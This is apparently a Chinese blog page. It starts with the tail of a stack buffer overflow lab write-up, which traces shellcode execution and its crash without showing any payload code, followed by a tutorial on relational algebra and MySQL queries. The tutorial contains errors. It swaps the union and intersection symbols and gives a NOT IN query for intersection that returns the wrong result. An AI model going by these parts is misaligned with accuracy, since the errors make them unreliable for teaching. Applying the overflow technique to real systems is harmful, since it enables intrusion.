retn返回之后,控制已经到达了0x0012FAF0处,开始执行shellcode

此时堆栈顶ESP指向0x12FB28,这是main函数call verify_password之前的栈顶位置,

堆栈从大到小生长的话,0x0012FAF0是在其生长道路上的,shellcode有没有被再次生长的堆栈覆盖的可能呢?

shellcode中有7个压栈,也就是28=0x1A个字节,0x12FB28-0x1A=0x12FB0E>0x12FAF0,不会覆盖shellcode,可以放心执行

当MessageBoxA函数返回时,下面就没有有意义的指令了,迟早要寄掉

在0x12fb0a处就寄了,错误代码0xc0000005

关系代数和SQL语言

Posted on 2022-09-16 Edited on 2022-11-14

关系代数与SQL语句

关系模型术语

关系模型术语	对应到表
关系	表
元组	行
属性	列
关系实例	表中的特定行
属性的域	该属性列中所有可能的取值

关系模式:定义类型

关系:关系模式的实例

Employer(ID,salary,gender,age);这就是关系模式

Tom(00001,5k,male,20);这就是关系

相当于

class Employer{//Employer关系模式
	int ID;
    int salary;
    bool gender;
    int age;
    Employer(const int &i,const int &s,const bool &g,const int &a){
    	ID=i;
    	salary=s;
    	gender=g;
    	age=a;
    }
};
Employer Tom(1,5000,1,20);//关系,关系实例

码:区分不同关系的标志

比如人的身份证ID

超码:关系模式中,能够唯一标识一个关系的属性或者属性集合

比如Student(ID,eduID,class,grade,name)

学生(身份证号,学号,年级,班级,姓名)

这里ID和eduID都可以作为超码,

如果认为每个班里都没有重名的人,则(年级,班级,姓名)也可以作为超码

显然超码的任何一个超集也是超码

候选码:最小超码

比如Student(ID,eduID,class,grade,name)

由于ID是超码,因此ID的任何一个超集,比如(ID,grade)也是超码

ID可以作为候选码,因为ID已经是最小超码,但是(ID,grade)不是候选码,因为去了grade,只剩下ID仍然是超码

主码(primary key):实际中,数据库设计者选中作为区分不同关系的候选码

mysql> CREATE TABLE troop(
 -> id int,
 -> name varchar(255),
 -> age int,
 -> PRIMARY KEY(id)
 -> );
Query OK, 0 rows affected (0.01 sec)

将id作为主码

外码:

关系模式r1的属性中可能包含其他关系模式r2的主码.

则该属性在r1上称作"参照r2的外码",

关系模式r1称为"外码依赖的参照关系"

关系模式r2称为"外码的被参照关系"

比如

Person=Person(ID,eduID,name,age,gender),其中身份证号ID为主键

Student=Student(eduID,grade,class,name,age,gender),其中学号eduID为主键

那么eduID就是Person的"参照Student的外码"

Person就是"eduID外码依赖的参照关系"

Student就是"eduID外码的被参照关系"

模式图:

用模式图(schema diagram)表示含有主码和外码依赖的数据库模式

这个玩意用软件画不用手画

关系代数

Operation	中文	符号	$\LaTeX$
Projection	投影	Π	`\Pi`
Selection	选择	σ	`\sigma`
Renaming	重命名	ρ	`\rho`
Aggregate Function	聚合函数	G	`\mathcal{G}`
Union	交	∩	`\cap`
Intersection	补	∪	`\cup`
Natural Join	自然连接	⋈	`\bowtie` or `\Join`
Left Outer Join	左外连接	⟕	... 这几个直接复制吧
Right Outer Join	右外连接	⟖
Full Outer Join	全外连接	⟗
Cartesian product	笛卡尔乘积	×	`\times`
Divide	除	÷	`\div`
Assignment	赋值	←	`\leftarrow`
And	条件并列	∧	`\land` or `\vee`
Negation	非	¬	`\neg`
Exist	存在	∃	`\exists`
For All	对所有	∀	`\forall`
	下标文字	σusername	`_{\text{}}`
	粗体文字	Gcount(*)	`\textbf{}`
	长长长长括号	((((	`\big( \Big( \bigg( \Bigg(`
	比较	>≥<≤≠	`\gt \ge \lt \le \ne`

递归定义

假设$E_1,E_2$都是关系代数表达式,显然该表达式的返回值是一个关系子集

那么关系代数表达式的表达式也是关系代数表达式

相当于整数的加减乘除等运算的结果还是整数,运算的结果还能参与运算

mysql建表代码

create table if not EXISTS instructor(
    ID int,
    name varchar(255),
    dept_name varchar(255),
    salary int,
    primary key(id)
);

insert ignore into instructor(ID,name,dept_name,salary) values (10101,"Srinivasan","Comp.Sci.",65000);
insert ignore into instructor(ID,name,dept_name,salary) values (12121,"Wu","Finance",90000);
insert ignore into instructor(ID,name,dept_name,salary) values (15151,"Mozart","Music",40000);
insert ignore into instructor(ID,name,dept_name,salary) values (22222,"Einstein","Physics",95000);
insert ignore into instructor(ID,name,dept_name,salary) values (32343,"El Said","History",60000);
insert ignore into instructor(ID,name,dept_name,salary) values (33456,"Gold","Physics",87000);
insert ignore into instructor(ID,name,dept_name,salary) values (45565,"Katz","Comp.Sci.",75000);
insert ignore into instructor(ID,name,dept_name,salary) values (58583,"Caliiferi","History",62000);
insert ignore into instructor(ID,name,dept_name,salary) values (76543,"Singh","Finance",80000);
insert ignore into instructor(ID,name,dept_name,salary) values (76766,"Crick","Biology",72000);
insert ignore into instructor(ID,name,dept_name,salary) values (83821,"Brandt","Comp.Sci.",92000);
insert ignore into instructor(ID,name,dept_name,salary) values (98345,"Kim","Elec.Eng.",80000);


create table if not exists teaches(
  ID int,
  course_id varchar(255),
  sec_id int,
  semester varchar(255),
  year int,
  primary key(course_id)
);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (10101,"CS-101",1,"Fall",2017);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (10101,"CS-315",1,"Spring",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (10101,"CS-347",1,"Fall",2017);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (12121,"FIN-201",1,"Spring",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (15151,"MU-199",1,"Spring",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (22222,"PHY-101",1,"Fall",2017);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (32343,"HIS-351",1,"Spring",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (45565,"CS-101",1,"Spring",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (45565,"CS-319",1,"Spring",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (76766,"BIO-101",1,"Summer",2017);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (76766,"BIO-301",1,"Summer",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (83821,"CS-190",1,"Spring",2017);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (83821,"CS-190",2,"Spring",2017);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (83821,"CS-319",2,"Spring",2018);
insert ignore into teaches(ID,course_id,sec_id,semester,year) values (98345,"EE-181",1,"Spring",2017);

后来这两个表有变动,但是变动不大

选择$\sigma$

\[ \sigma_{谓词条件}(关系表) \]

从目标关系表中选出满足条件的元组行

比如对于以下troop表

+----+--------+------+
| id | name   | age  |
+----+--------+------+
|  1 | Tom    |   20 |
|  2 | Vader  |   40 |
|  3 | Anakin |   20 |
+----+--------+------+

\[ \sigma_{age>20}(troop) \]

就相当于

mysql> select * from troop where age>20;
+----+-------+------+
| id | name  | age  |
+----+-------+------+
|  2 | Vader |   40 |
+----+-------+------+
1 row in set (0.00 sec)

\[ select * from\ 关系表\ \color{red}where \color{white}\ 关系谓词\longleftrightarrow\color{red}\sigma_{\color{white}关系谓词}\color{white}(关系表) \]

这里关系谓词就是各种等于不等于,逻辑与或非

SQL中的where才相当于关系代数中的$\sigma$

投影$\Pi$

还是对于troop表

mysql> select * from troop;
+----+--------+------+
| id | name   | age  |
+----+--------+------+
|  1 | Tom    |   20 |
|  2 | Vader  |   40 |
|  3 | Anakin |   20 |
+----+--------+------+
3 rows in set (0.00 sec)

如果只想观察(id,name)属性,忽略age属性 \[ \Pi_{id,name}(troops) \] 就相当于

mysql> select id,name from troop;
+----+--------+
| id | name   |
+----+--------+
|  1 | Tom    |
|  2 | Vader  |
|  3 | Anakin |
+----+--------+
3 rows in set (0.00 sec)

\[ select\ 属性1,属性2{...}\ from (数据表)= \Pi_{属性1,属性2,...}(数据表) \]

组合使用$\Pi,\sigma$

现在只关心军队中20岁以上士兵的(id,name),那么

mysql> select id,name from troop where age>20;
+----+-------+
| id | name  |
+----+-------+
|  2 | Vader |
+----+-------+
1 row in set (0.00 sec)

相当于 \[ \Pi_{id,name}(\sigma_{age>20}(troop)) \] 由此可见,$\sigma$运算的结果仍然是一张表,可以在这个子表上再进行关系运算

并$\cup$

假设军官表长这样

mysql> select * from officer;
+----+-------+------+--------+-----------+-----------+
| id | name  | age  | gender | rank      | position  |
+----+-------+------+--------+-----------+-----------+
|  1 | Vader |   50 |      1 | marshal   | Army      |
|  2 | Lisa  |   20 |      0 | colonel   | Regiment  |
|  3 | Rick  |   20 |      1 | major     | Battalion |
|  4 | Rex   |   25 |      1 | captain   | Company   |
|  5 | Alpha |   23 |      1 | major     | Company   |
|  6 | Omega |   23 |      0 | brigadier | Brigade   |
+----+-------+------+--------+-----------+-----------+
6 rows in set (0.00 sec)

id,姓名,年龄,性别,均线,职位

现在想查询所有上校团长还有准将旅长的名字

mysql> select name from officer where rank="colonel" and position="Regiment" union select name from officer where rank="brigadier" and position="Brigade";
+-------+
| name  |
+-------+
| Lisa  |
| Omega |
+-------+
2 rows in set (0.00 sec)

用关系代数表示就是 \[ \Pi_{name}(\sigma_{rank=colonel\ \land\ position=Regiment}(officer) )\cup\Pi_{name}(\sigma_{rank=brigadier\ \land\ position=Brigade}(officer) ) \]

这是在同一张表上联合查询,并运算也允许在两张表上联合查询,但是要求的是两种关系模型的属性个数,以及每个对等位置的属性的意义都是相同的.

比如

海军军官(id,姓名,年龄,性别,军衔,职位)

陆军军官(id,姓名,年龄,性别,军衔,职位)

这里海军军官和陆军军官两种关系就满足要求

可以联合查询海军军官里面的上校团长和陆军军官里面的上校团长

差$-$

r,s表示两种关系模型,则r-s表示在r中但是不在s中的关系元组

类似于集合的定义$A-B=A-AB=A(1-B)=A\overline{B}$

比如一般情况下,连长要上尉军衔的军官担任,现在要在军官表中查询军衔不是上尉的连长的名字

可以先查出连长名表,然后减去上尉名表

然而mysql不支持except和minus关键字,可以用not in代替

mysql> select name from officer
    -> where
    -> position="Company" and name not in(
    ->     select name from officer
    ->     where rank="captain"
    -> );
+-------+
| name  |
+-------+
| Alpha |
+-------+
1 row in set (0.00 sec)

用关系代数表示相当于 \[ \Pi_{name}(\sigma_{position = Company}(officer))-\Pi_{name}(\sigma_{rank=captain}(officer)) \] 由于这是在同一张表中查询的,可以不使用差集,都写在谓词里

mysql> select name from officer where position="Company" and rank !="captain";
+-------+
| name  |
+-------+
| Alpha |
+-------+
1 row in set (0.00 sec)

用关系代数表示相当于 \[ \Pi_{name}(\sigma_{position=Company\ \land\ rank=captain}(officer)) \]

卷积$\times$

两个关系r,s的笛卡尔乘积$r\times s$意思是r和s的每一行都要组成一行填到新表里

假设现在要给所有连长任命连队,符合要求的军官有

mysql> select * from officer where position="Company";
+----+-------+------+--------+---------+----------+
| id | name  | age  | gender | rank    | position |
+----+-------+------+--------+---------+----------+
|  4 | Rex   |   25 |      1 | captain | Company  |
|  5 | Alpha |   23 |      1 | major   | Company  |
+----+-------+------+--------+---------+----------+
2 rows in set (0.00 sec)

所有连队有:

mysql> select * from Companies;
+----+-----------+------------+
| id | name      | popularity |
+----+-----------+------------+
|  1 | the Brave |        120 |
|  2 | the Loyal |        130 |
|  3 | the Fast  |        110 |
+----+-----------+------------+
3 rows in set (0.00 sec)

那么两个连长与三个连队之间的所有任命情况为

mysql> select * from (select id,name,rank from officer where position="Company")as Officer cross join companies;
+----+-------+---------+----+-----------+------------+
| id | name  | rank    | id | name      | popularity |
+----+-------+---------+----+-----------+------------+
|  4 | Rex   | captain |  1 | the Brave |        120 |
|  5 | Alpha | major   |  1 | the Brave |        120 |
|  4 | Rex   | captain |  2 | the Loyal |        130 |
|  5 | Alpha | major   |  2 | the Loyal |        130 |
|  4 | Rex   | captain |  3 | the Fast  |        110 |
|  5 | Alpha | major   |  3 | the Fast  |        110 |
+----+-------+---------+----+-----------+------------+
6 rows in set (0.00 sec)

这里(select id,name,rank from officer where position="Company")as Officer是给结果子表起了一个别名(alias),叫做Officer,不起别名会导致mysql报错

写成关系代数就相当于 \[ \Pi_{id,name,rank}(\sigma_{position=Company}(officer))\times\ companies \]

这种式子在计算的时候需要区分优先级,最开始计算的应该是 \[ A=\sigma_{position=Company}(officer) \]

然后计算 \[ B=\Pi_{id,name,rank}(A) \] 最后计算

\[ C=B\times companies \]

更名$\rho$

实际上就是mysql中的alias别名 \[ \rho_{alias(attr1,attr2,...)}(Expression) \] 其中attr1可以是原来的属性名,也可以是属性别名

在计算完Expression表达式之后,将返回的结果(一个关系子集)命名为alias

比如查询军官表中所有职位为连长的军官(id,name,rank),将该查询子表起名Companies

mysql> select id as compid,name,age as comage from officer as Companies where position="Company";
+--------+-------+--------+
| compid | name  | comage |
+--------+-------+--------+
|      4 | Rex   |     25 |
|      5 | Alpha |     23 |
+--------+-------+--------+
2 rows in set (0.00 sec)

查询officer表中所有职位为连长的军官的(id,name,age),并且将属性改名为(compid,name,comage),将该查询子表改名为Companies

写成关系代数相当于 \[ \rho_{Companies(compid,name,comage)}(\Pi_{id,name,rank}(\sigma_{position=Company}(officer))) \]

查询表中的最大薪水$\Pi_{salary}(instructor)-\Pi_{instructor.salary}(\sigma_{instructor.salary<d.salary}(instructor\times \rho_d(instructor)))$

假设有一张薪水表长这样

mysql> select * from instructor;
+-------+------------+-----------+--------+
| ID    | name       | dept_name | salary |
+-------+------------+-----------+--------+
| 10101 | Srinivasan | Comp.Sci. |  65000 |
| 12121 | Wu         | Finance   |  90000 |
| 15151 | Mozart     | Music     |  40000 |
| 22222 | Einstein   | Physics   |  95000 |
| 32343 | El Said    | History   |  60000 |
| 33456 | Gold       | Physics   |  87000 |
| 45565 | Katz       | Comp.Sci. |  75000 |
| 58583 | Caliiferi  | History   |  62000 |
| 76543 | Singh      | Finance   |  80000 |
+-------+------------+-----------+--------+
9 rows in set (0.00 sec)

现在要查询表中的最大薪水是多少

一种想法是,将该表与自己做笛卡乘,假设记作$A\times B$

那么对于最高的薪水x,也就是不存在比他还高的薪水y

也就是说找不到$a.x<b.y$此时$a.x$就是最高薪水

"找不到"这个不大好实现,但是"找到$a.x>b.y$"容易实现,然后用薪水总集减去这"找到集"就是"找不到集"

书上是这样写的: \[ \Pi_{salary}(instructor)-\Pi_{instructor.salary}(\sigma_{instructor.salary<d.salary}(instructor\times \rho_d(instructor))) \] ~~又臭又长~~

咋理解呢?自顶向下来看,

最顶层是两个关系集合的差,左边是instructor中的所有薪水组成的集合,

相当于select salary from instructor

右侧是一大坨运算之后得到的表中instructor.salary组成的集合,下面着重分析一下右边干了啥,从最里层开始分析

自下往上来看

最里层$\rho_{d}(instructor)$

将instructor表起了一个别名d,

相当于select * from instructor as d

第二层是$instructor\times \rho_d(instructor)$

instructor关系集合自己和自己做了笛卡尔积,

为啥要起别名d然后相乘呢?为了方便后来分别引用两个表的属性.

相当于select * from instructor as instructor cross join instructor as d;

前面这个也必须起一个别名,mysql强制令任何过程子表都得有别名,之后最后打印到终端的结果表可以没有别名

第三层是$\sigma_{instructor.salary<d.salary}(instructor\times \rho_d(instructor))$

也就是在第二层的结果表中选择,

相当于select * from instructor as d cross join instructor as instructor where instructor.salary < d.salary;

第四层是$\Pi_{instructor.salary}(\sigma_{instructor.salary<d.salary}(instructor\times \rho_d(instructor)))$

在第三层的结果上,只保留$instructor.salary$这一个属性

相当于select instructor.salary from instructor as d cross join instructor as instructor where instructor.salary < d.salary;

最高层是$\Pi_{salary}(instructor)-\Pi_{instructor.salary}(\sigma_{instructor.salary<d.salary}(instructor\times \rho_d(instructor)))$

对两个次高层的过程子表做差

相当于select salary from instructor where salary not in(select instructor.salary from instructor as d cross join instructor as instructor where instructor.salary < d.salary);

这么老太太的裹脚的一坨,竟然语法没错能查出来,有点儿离谱

mysql> select salary from instructor where salary not in(select instructor.salary from instructor as d cross join instructor as instructor where instructor.salary < d.salary);
+--------+
| salary |
+--------+
|  95000 |
+--------+
1 row in set (0.00 sec)

交$\cap$

mysql中没有交运算关键字,可以使用in关键字代替

比如要查询instructor表中物理行业子表和薪水超过90k的人的子表,要求查询所有信息 \[ \sigma_{dept\_name=Physics}(instructor)\cap \sigma_{salary>90000}(instructor) \]

mysql> select * from instructor where dept_name="Physics" and ID not in(select ID from instructor where salary>90000);
+-------+------+-----------+--------+
| ID    | name | dept_name | salary |
+-------+------+-----------+--------+
| 33456 | Gold | Physics   |  87000 |
+-------+------+-----------+--------+
1 row in set (0.00 sec)

由于这是在同一张表中查询,可以将表交关系都放到谓词里 \[ \sigma_{dept\_name=Physics\ \land\ salary>90000}(instructor) \]

自然连接$\Join$

卷积运算实现自然连接功能

假设有教讲师列表

mysql> select * from instructor;
+-------+------------+-----------+--------+
| ID    | name       | dept_name | salary |
+-------+------------+-----------+--------+
| 10101 | Srinivasan | Comp.Sci. |  65000 |
| 12121 | Wu         | Finance   |  90000 |
| 15151 | Mozart     | Music     |  40000 |
| 22222 | Einstein   | Physics   |  95000 |
| 32343 | El Said    | History   |  60000 |
| 33456 | Gold       | Physics   |  87000 |
| 45565 | Katz       | Comp.Sci. |  75000 |
| 58583 | Caliiferi  | History   |  62000 |
| 76543 | Singh      | Finance   |  80000 |
| 76766 | Crick      | Biology   |  72000 |
| 83821 | Brandt     | Comp.Sci. |  92000 |
| 98345 | Kim        | Elec.Eng. |  80000 |
+-------+------------+-----------+--------+
12 rows in set (0.00 sec)

还有课程列表

mysql> select * from teaches;
+-------+-----------+--------+----------+------+
| ID    | course_id | sec_id | semester | year |
+-------+-----------+--------+----------+------+
| 10101 | CS-101    |      1 | Fall     | 2017 |
| 10101 | CS-315    |      1 | Spring   | 2018 |
| 10101 | CS-347    |      1 | Fall     | 2017 |
| 12121 | FIN-201   |      1 | Spring   | 2018 |
| 15151 | MU-199    |      1 | Spring   | 2018 |
| 22222 | PHY-101   |      1 | Fall     | 2017 |
| 32343 | HIS-351   |      1 | Spring   | 2018 |
| 45565 | CS-319    |      1 | Spring   | 2018 |
| 76766 | BIO-101   |      1 | Summer   | 2017 |
| 76766 | BIO-301   |      1 | Summer   | 2018 |
| 83821 | CS-190    |      1 | Spring   | 2017 |
| 98345 | EE-181    |      1 | Spring   | 2017 |
+-------+-----------+--------+----------+------+
12 rows in set (0.00 sec)

teaches表中的ID是指任课教师编号,course_id才是这门课的编号

比如CS-101可能就是计导

现在要查询Srinivasan老师教哪些课

显然可以使用笛卡尔积然后约束teaches.ID=instructor.ID

mysql> select inst.name,teac.course_id
    -> from
    ->     (select ID,name from instructor where name="Srinivasan") as inst
    ->         cross join
    ->     (select ID,course_id from teaches)as teac
    -> where
    ->     inst.ID=teac.ID;
+------------+-----------+
| name       | course_id |
+------------+-----------+
| Srinivasan | CS-101    |
| Srinivasan | CS-315    |
| Srinivasan | CS-347    |
+------------+-----------+
3 rows in set (0.03 sec)

写成关系代数的形式 $$ {inst.name,teac.course_id}( {inst.ID=teac.ID}(

    \rho_{inst}(\Pi_{name,ID}(instructor))
        \times
    \rho_{teac}(\Pi_{ID,course\_id}(teaches))

)

) $$

显然这样会造成很多不必要的计算,应该使用自然连接简化运算

实际上的自然连接

使用卷积的时候,每个讲师会和每个课程组合一下,但是显然教物理的教不了金融

并且teaches表中的ID列已经给出了这门课又哪个老师教,使用卷积组合时除了老师ID=课老师ID这种组合是有效的,其他组合都是寂寞

应该只保留老师ID=课老师ID的组合,这就是自然连接了

mysql> select name,course_id from (instructor natural join teaches) where instructor.name="Srinivasan";
+------------+-----------+
| name       | course_id |
+------------+-----------+
| Srinivasan | CS-101    |
| Srinivasan | CS-315    |
| Srinivasan | CS-347    |
+------------+-----------+
3 rows in set (0.00 sec)

写成关系代数就是 \[ \Pi_{name,course\_id}(\sigma_{instructor.name=Srinivasan}(instructor\Join teaches)) \]

自然连接和卷积的关系

设r,s是两个关系,$r\Join s$表示两个关系的自然连接,R,S分别表示两个关系的属性集合

总结一下自然连接应该怎么用低级的关系代数式表示

mysql> select * from (instructor natural join teaches);
+-------+------------+-----------+--------+-----------+--------+----------+------+
| ID    | name       | dept_name | salary | course_id | sec_id | semester | year |
+-------+------------+-----------+--------+-----------+--------+----------+------+
| 10101 | Srinivasan | Comp.Sci. |  65000 | CS-101    |      1 | Fall     | 2017 |
| 10101 | Srinivasan | Comp.Sci. |  65000 | CS-315    |      1 | Spring   | 2018 |
| 10101 | Srinivasan | Comp.Sci. |  65000 | CS-347    |      1 | Fall     | 2017 |
| 12121 | Wu         | Finance   |  90000 | FIN-201   |      1 | Spring   | 2018 |
| 15151 | Mozart     | Music     |  40000 | MU-199    |      1 | Spring   | 2018 |
| 22222 | Einstein   | Physics   |  95000 | PHY-101   |      1 | Fall     | 2017 |
| 32343 | El Said    | History   |  60000 | HIS-351   |      1 | Spring   | 2018 |
| 45565 | Katz       | Comp.Sci. |  75000 | CS-319    |      1 | Spring   | 2018 |
| 76766 | Crick      | Biology   |  72000 | BIO-101   |      1 | Summer   | 2017 |
| 76766 | Crick      | Biology   |  72000 | BIO-301   |      1 | Summer   | 2018 |
| 83821 | Brandt     | Comp.Sci. |  92000 | CS-190    |      1 | Spring   | 2017 |
| 98345 | Kim        | Elec.Eng. |  80000 | EE-181    |      1 | Spring   | 2017 |
+-------+------------+-----------+--------+-----------+--------+----------+------+
12 rows in set (0.00 sec)

mysql会自动搜索两个表中的相同属性,然后进行等值连接

比如有两张表$S(A,B,C),T(B,C,D)$

此时$S\Join T=ST(A,B,C,D)$,mysql会考虑B,C都相同的元组合并成同一个元组,

如果$\exist s(a,b,c,d)\in A,\forall t_i(b_i,c_i,d_i)\in T,!(b=b_i \land c=c_i)$则该S表中的s元组会被抛弃

同理适用于t

说人话就是S,T表保留公共部分完全相同的表项进行合并

"公共部分"是指所有相同的列属性

那么有 \[ r\Join s=\Pi_{R\cup S}(\sigma_{r.a_1=s.a_1,r.a_2=s.a_2,...,r.a_n=s.a_n}(r\times s)) \]

其中$a_i\in R\cap S$表示r和s共有的属性

怎么理解这个公式呢?还是从下往上看这个公式

最里层$r\times s$,笛卡尔积,r到s所有行的组合都有了

第二层$\sigma_{r.a_1=s.a_1,r.a_2=s.a_2,...,r.a_n=s.a_n}(r\times s)$,在第一层的计算结果表中,取出$r.a_1=s.a_1,r.a_2=s.a_2...$的行组成新的子表

第三层$\Pi_{R\cup S}(\sigma_{r.a_1=s.a_1,r.a_2=s.a_2,...,r.a_n=s.a_n}(r\times s))$保留R和S所有属性

赋值$\leftarrow$

对于刚才的自然连接,可以使用赋值运算保存临时变量,分布计算 \[ \Pi_{name,course\_id}(\sigma_{instructor.name=Srinivasan}(instructor\Join teaches)) \]

\[ \begin{aligned} temp1&\leftarrow instructor\Join teaches\\ temp2&\leftarrow \sigma_{instructor.name=Srinivasan}(temp1)\\ result&\leftarrow \Pi_{name,course\_id}(temp2) \end{aligned} \]

但是在mysql上没有找到这种用法

外连接

自然连接时,如果s表中的某一项在r表中找不到共有属性完全相同的项则会被抛弃,而外连接将会保留s表中的这一项,并给他创建一个全空的r表对应项

举个例子说

教师表s中的教师可以分成教学的和不教学的两类

课程表t中的课程可以分成自习课和教学课两类

$s\Join t$只会保留教课老师和教学课,还得是这个老师和教的课都存在,显然不教学的老师不会出现在结果里,自习课也不会出现在结果里

比如现有课程表和教师表

SELF-0这课对应教师ID=0,不存在这个老师,意味着自习课,显然在自然连接的时候会被扬了

ID=33456这个Gold老师,在teaches课程表上没有任课记录,自然连接的时候也会被扬了

现在令l表示左表,也就是teaches;令r表示右表,也就是instructor

对于$teaches \ opt \ instructor$

如果是opt全外连接则谁也不会被扬了,

如果opt是左外连接则SELF-0留下,33456号教师扬了

如果opt是右外连接则SELF-0扬了,33456号教师留下

如果opt是全外连接则都留下

这三个在$\LaTeX$中没有找到符号

左外连接$⟕$

谁在左边谁全留下,右边的该扬就得扬

mysql> select * from teaches as l LEFT OUTER JOIN instructor as r ON l.ID=r.ID;
+-------+-----------+--------+----------+------+-------+------------+-----------+--------+
| ID    | course_id | sec_id | semester | year | ID    | name       | dept_name | salary |
+-------+-----------+--------+----------+------+-------+------------+-----------+--------+
| 10101 | CS-101    |      1 | Fall     | 2017 | 10101 | Srinivasan | Comp.Sci. |  65000 |
| 10101 | CS-315    |      1 | Spring   | 2018 | 10101 | Srinivasan | Comp.Sci. |  65000 |
| 10101 | CS-347    |      1 | Fall     | 2017 | 10101 | Srinivasan | Comp.Sci. |  65000 |
| 12121 | FIN-201   |      1 | Spring   | 2018 | 12121 | Wu         | Finance   |  90000 |
| 15151 | MU-199    |      1 | Spring   | 2018 | 15151 | Mozart     | Music     |  40000 |
| 22222 | PHY-101   |      1 | Fall     | 2017 | 22222 | Einstein   | Physics   |  95000 |
| 32343 | HIS-351   |      1 | Spring   | 2018 | 32343 | El Said    | History   |  60000 |
| 45565 | CS-319    |      1 | Spring   | 2018 | 45565 | Katz       | Comp.Sci. |  75000 |
| 76766 | BIO-101   |      1 | Summer   | 2017 | 76766 | Crick      | Biology   |  72000 |
| 76766 | BIO-301   |      1 | Summer   | 2018 | 76766 | Crick      | Biology   |  72000 |
| 83821 | CS-190    |      1 | Spring   | 2017 | 83821 | Brandt     | Comp.Sci. |  92000 |
| 98345 | EE-181    |      1 | Spring   | 2017 | 98345 | Kim        | Elec.Eng. |  80000 |
|     0 | SELF-0    |      1 | Spring   | 2018 |  NULL | NULL       | NULL      |   NULL |
+-------+-----------+--------+----------+------+-------+------------+-----------+--------+
13 rows in set (0.00 sec)

33456号老师已经被扬了

写成关系代数就是 \[ \sigma_{l.ID=r.ID}(\rho_l(teaches)⟕\rho_r(instructor)) \]

右外连接$⟖$

谁在右边谁全留下,左边该扬就得扬

mysql> select l.course_id,r.name from teaches as l RIGHT OUTER JOIN instructor as r ON l.ID=r.ID;
+-----------+------------+
| course_id | name       |
+-----------+------------+
| CS-101    | Srinivasan |
| CS-315    | Srinivasan |
| CS-347    | Srinivasan |
| FIN-201   | Wu         |
| MU-199    | Mozart     |
| PHY-101   | Einstein   |
| HIS-351   | El Said    |
| CS-319    | Katz       |
| BIO-101   | Crick      |
| BIO-301   | Crick      |
| CS-190    | Brandt     |
| EE-181    | Kim        |
| NULL      | Gold       |
| NULL      | Caliiferi  |
| NULL      | Singh      |
+-----------+------------+
15 rows in set (0.00 sec)

SELF-0号自习课已经被扬了

三个不任课的老师留下

写成关系代数的形式就是 \[ \Pi_{l.course\_id,r.name}(\sigma_{l.ID=r.ID}(\rho_l(teaches)⟖\rho_r(instructor))) \]

全外连接$⟗$

mysql中没有全外连接

但是可以使用左外连接联合查询右外连接

mysql> select l.course_id,r.name
    ->     from
    ->         teaches as l
    ->             LEFT OUTER JOIN
    ->         instructor as r
    ->             ON l.ID=r.ID
    -> union
    -> select l.course_id,r.name
    ->     from
    ->         teaches as l
    ->             RIGHT OUTER JOIN
    ->         instructor as r
    ->             ON l.ID=r.ID
    -> ;
+-----------+------------+
| course_id | name       |
+-----------+------------+
| CS-101    | Srinivasan |
| CS-315    | Srinivasan |
| CS-347    | Srinivasan |
| FIN-201   | Wu         |
| MU-199    | Mozart     |
| PHY-101   | Einstein   |
| HIS-351   | El Said    |
| CS-319    | Katz       |
| BIO-101   | Crick      |
| BIO-301   | Crick      |
| CS-190    | Brandt     |
| EE-181    | Kim        |
| SELF-0    | NULL       |
| NULL      | Gold       |
| NULL      | Caliiferi  |
| NULL      | Singh      |
+-----------+------------+
16 rows in set (0.00 sec)

\[ \Pi_{l.course\_id,r.name}(\sigma_{l.ID=r.ID}(\rho_l(teaches)⟗\rho_r(instructor))) \]

除$\div$

设关系r的属性$R=(A_1,A_2,...,A_m,B_1,B_2,...,B_n)$

设关系s的属性$S=(B_1,B_2,...,B_n)$

所谓关系就是表

所谓属性就是表的列

则 \[ r\div s=(A_1,A_2,...,A_m) \]

严谨定义为 \[ r\div s=\{t|t\in \Pi_{R-S}(r)\ \land\forall u\in s\rightarrow tu\in r\} \]

t元组的属性是R-S剩下的属性,

并且t和s中任何元组的积都属于r.

则t就是$r\div s$集合的元素

练习

练习1卷出最值

查出account表中最大(小)存款(balance)数

\[ \begin{aligned} 最大存款数&=\Pi_{balance}(account)-\Pi_{acnt.balance}(\sigma_{acnt.balance<account.balance}(\rho_{acnt}(account)\times account))\\ 最小存款数&=\Pi_{balance}(account)-\Pi_{account.balance}(\sigma_{acnt.balance<account.balance}(\rho_{acnt}(account)\times account)) \end{aligned} \] 用$\sigma_{acnt.balance<account.balance}(\rho_{acnt}(account)\times account)$这个选择蹉跎一下,就包含了所有前存款小于后存款的条目,

这些条目中,每一条都是acnt.balance作为前项也就是小的一项,account.balance作为后项也就是大的一项,

那么acnt.balance不含最大项,account.balance不含最小项

练习2连卷转化

查出至少有一个账户上有多于700块钱存款的用户

用卷积做的话 \[ \Pi_{customer\_name}(\sigma_{account.number=depositor.number}(\sigma_{account.balance>700}(account)\times depositor)) \]

用自然连接做的话 \[ \Pi_{customer\_name}(\sigma_{account.balance>700}(account\Join depositor)) \]

练习3卷出多个账户

查询至少有两个账户的用户

\[ \Pi_{customer\_name}(\sigma_{dpstr.customer\_name=depositer.custormer\_name\ \land \ dpstr.account\_number\ne depositor.account\_number}(\rho_{dpstr}(depositer)\times depositer)) \]

练习4先连后卷

查出至少在两个分行(branch)都有账户(account)的用户(customer)

需要注意的是,一个人可以在同一个支行有多个账号,只考虑查询账户数多于两个的用户不成立

显然先把两个表以account_number为公共属性,自然连接起来,对这个自然连接表进行卷积,就能蹉跎出同一个人的不同支行账户组合了 \[ \Pi_{customer\_name}(\sigma_{l.custormer\_name=r.custormer\_name\land l.branch\_name\ne r.branch\_name}(\rho_l(depositor \Join account)\times \rho_r(depositor\Join account))) \]

练习5自然连接

查找在布鲁克林市有账户的用户

\[ \Pi_{customer\_name}(\sigma_{branch\_city=Brooklyn}(account\Join branch)) \]

只要在是布鲁克林市有一个账户就可以了

练习6除法关系

查找在布鲁克林市任意支行都有账户的用户

